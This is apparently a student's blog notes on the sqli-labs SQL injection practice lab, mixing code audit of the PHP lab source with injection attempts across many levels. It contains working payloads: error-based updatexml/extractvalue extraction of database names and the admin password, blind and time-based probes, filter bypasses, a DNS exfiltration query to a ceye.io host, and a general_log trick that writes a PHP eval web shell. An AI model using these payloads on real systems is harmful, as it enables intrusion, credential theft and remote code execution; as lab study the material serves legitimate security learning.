赞
踩
欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
对于这个1-20关,不是说选一个吗?我选第4关:基于报错的双引号注入。
输入id=1’
发现是”)闭合。
Where id = (“x”)? 我猜。然后看语句:果然!$result = mysql_query($sql);//返回查询的数据的一个结果集,需要用php相应的mysql函数取值。比如mysql_fetch_array()这个函数
会报错显示,并且限制一次回显行数。
不赘述。
班长说这个也是选一题,所以我选的是17:
先代码审计吧!:
$value = substr($value,0,15); 只选取15个字符。get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
stripslashes()
删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
扯淡的地方来了,name过滤一堆,passwd不过滤?那必然优先试试看passwd呀!好吧不行,因为我看到了这个:// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
接下来还会把返回的数据更新,查到了哪个用户---->改他在user表里面的密码
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
我现在觉得passwd说不定也可以,因为我看到了这句:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
输入啥貌似都报:
接着看源码,发现都会报错误信息:print_r(mysql_error());
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
但是如果连账户都不存在的话,就会返回:
既然有报错,不妨试试看。所以1’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
得到版本号5.7.14.
这里我试了几种常见的报错函数
UpdateXML('xml_target','xpath_expr','new_xml')
用第三个参数去替换第一个参数中能匹配的第二个参数的形式的部分。
1' and (updatexml(1,concat(0x5c,version(),0x5c),1))
报出数据库版本5.7.14
1' and (updatexml(1,concat(0x5c,database(),0x5c),1))#
数据库security
1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#
限制显示一行可以limit破之。第三个表是users。
1' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#
这里有问题了:
查资料:from子句的查询中不能update这个users表格。这里貌似是使用了虚表思想,先select出来这个表users中要查询的内容。,作为结果(可以起一个别名aa)不能先select
表中的某些值,再update
这个表(在同一语句中)。
解决方法:将select
出的结果作为派生表再select
一遍,这样就规避了错误。
注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。
1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#
得到密码123,是我之前改的没毛病。
' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0)--+
也行。
其实还可以time:1' and sleep(5)#明显延迟5秒。但是,其实我以前打过ctf,延迟不是5s,应该是5n秒。N是这个表内的数据行。
只能回显2个逻辑:对和错,限制返回limit1,不报错信息。其实看了答案也可time。我之前写过ctf的布尔盲注的post二分法脚本,但是拷贝不进去了……就离谱。这个,把right改为正确回显的图片信息。Url改为路径。
在user位置测试:
1' and length(database())>9# 错误 admin’ or length(database())<9 #正确
admin' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 # 数据库收第一个字母是s的ascii小于100
1 1’ 1’) 1” and 1=1%23 1=2 都测试过了,啥也没有。
都是u are in……这种情况我一般bp fuzz。
http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20sleep(5)%23 可以延迟5n秒。一般结合if语句case把??反正我ctf是这么玩的。
、and if(ascii(substr(version(),0,1))=5,1,sleep(5))--+ 如果数据库版本是5.x,那么就会延时5n秒。
and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>10,1,sleep(5))--+ 语句放进去就可以,没waf。
我也是第一次。Admin进去后,好家伙!我还是直接代码审计吧!
转义了unmae和pswd,过滤同17一样很严格。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
好家伙,这个注入语句没什么字符型一说,因为你反正是注入不进去了。看了题目,我想到其实可以用sqlmap的level3直接cookie注入(手动狗头),但是那样太无耻了,还是手工吧!
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', base64_encode($row1['username']), time()+3600);
echo "I LOVE YOU COOKIES";
Uname部分bs64加密设置cookie为全局变量,
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
接着对cookie进行bs64解密,这里有一个注入。有显错。和限制limit。估计要报错注入。Cookie加密后放进unmae,然后放回来,本质还是unmae,但是注意,如果你输入了uname和pswd的话非空,那么直接就是bs64的解码,也就是说我们可能还要编码一次。直接跳到最后的大的else里面。最后也是用unmae里面的值去查,不妨试一下unmae。
E username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql); 而且还要注意可能用这个闭合。
Bp加了cookie居然发生这个问题,看代码觉得可能是submit触发了删除导致逻辑错误
看来我没猜错。
这题有点难。说实话。我反正没做过。也没用sqlmap做过这种题目。
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。二次排序注入思路:
1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
此例子中我们的步骤是注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
看了教程,我觉得有一个问题,就是说,你在用admin#’注册的时候,并不覆盖原先的admin,而是在之后改密码的时候,能够覆盖。那么会不会有这样一种可能:漏洞语句在修改环节处?审计之:
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
Else
这个地方的把返回的¥login存在¥session数组里面。Login哪里来?根据user和passwd查询出来的第一条信息数据来。这个地方我怕看不清楚插装了:
还是看不到就离谱。
8估计是id,后台数据累加没有青志。
Hint: Your Input is Filtered with following result: 1
输入1or测试还是一样的界面:Hint: Your Input is Filtered with following result: 1
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
Or and 过滤
大小写变形 Or,OR,oR /i了肯定不行。
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
5 双写
环境不好搭建,我在我自己电脑搭建的,然后这里只写自己的理解和payload,图来自自己电脑
这里我猜测是双重服务器类似于主从复制那种。
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
要有宽字节注入漏洞
1、首先要满足目标程序使用双/多字节字符集进行解析
2、其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\。
宽字节带来的安全问题主要是吃ascll字符(一个字节)的现象
代码审计发现gbk。。。其实我觉得就是吃了后面的\,使其成为“内容”
代码审计还发现:1.gbk 2. 转义引号 3.addspalsh()
审计
?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
· 在MySQL 5.5.53版本之前,这个变量默认为空,因此我们就可以使用这些函数。但是在该版本之后,NULL值会禁用这些函数。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量且是一个只读变量,也就是说在运行时无法更改。
· · 使用如下命令查看:
mysql>show global variables like ‘%secure%’;
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
我看了phpmyadmin
select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))博士果然牛逼!注释# 并且双引号即可!!!!!版本号回显了!
但是,依旧不行,我好气呀,然后班长指导:
secure_auth要off
2021-7-7红日团队靶场一_热热的雨夜的博客-CSDN博客_红日靶场
由于38题目的dns.log除了点问题,所以我随便找一题演示这个方法。本质是一样的。
但是没见shell.php出现在这里
SET GLOBAL general_log_file='C:/wamp64/www/shell.php' 换斜杠方向
SELECT '<?php @eval($_POST[xixixi]);?>'
这个我ctf做过,就是不能用union,别的和bp fuzz流程一样,不赘述,这不是比payload多的游戏,是学习和理解的过程
此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察
的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的
减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。
表。列。内容。
h5KzEbJ0xLmcLPwfLOWTRNkt
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。